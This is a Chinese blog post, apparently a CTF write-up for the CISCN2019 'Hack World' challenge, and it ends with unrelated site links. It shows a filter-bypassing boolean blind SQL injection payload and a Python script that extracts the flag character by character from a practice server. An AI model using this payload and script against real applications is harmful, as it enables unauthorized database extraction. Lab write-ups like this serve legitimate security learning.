[CISCN2019 华北赛区 Day2 Web1]Hack World 不会编程的崽

sql注入之简单的盲注。

为什么很多题目总是怪怪的???

 输入1返回正常,但是1 and 1=1显示异常。fuzz大法启动

 这些东西被禁用了。实际上"(and)"也被禁用了,看来fuzz字典还是少了很多。

 刚好它告诉你表名与列名都是flag,省去了不少事。然后返回是bool值,所以是盲注

 我开始的想法是"ascii(substr((select(flag)from(flag)),1,1))=102" 一直返回失败,不知道为什么

 后边改成了如下的payload

if(ascii(substr((select(flag)from(flag)),1,1))=102,1,2)

 外边包一层if语句就ok了 。。。浪费了我好久的时间

 然后写脚本flag就ok了

import requests

flag=''
url='http://17f2cea2-e442-4c1b-b431-f9766c507108.node5.buuoj.cn:81/index.php'
for i in range(1,50,1):
    for y in range(1,128,1):
        payload='if(ascii(substr((select(flag)from(flag)),'+str(i)+',1))='+str(y)+',1,2)'
        datas={"id":payload}
        content=requests.post(url,data=datas)
        if "glzjin wants a girlfriend" in content.text:
            flag=flag+chr(y)
            print(flag)
            break

这个脚本运行时间很长,因为我不懂算法。不能跟大佬的脚本比。运行结果如下

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-13 09:16:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-13 09:16:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-13 09:16:03       82 阅读
  4. Python语言-面向对象

    2024-03-13 09:16:03       91 阅读

热门阅读

  1. pytorch实践小结

    2024-03-13 09:16:03       36 阅读
  2. Django——数据库

    2024-03-13 09:16:03       36 阅读
  3. 浅谈C++友元函数

    2024-03-13 09:16:03       41 阅读
  4. Spring MVC AbstractTemplateViewResolver原理解析

    2024-03-13 09:16:03       40 阅读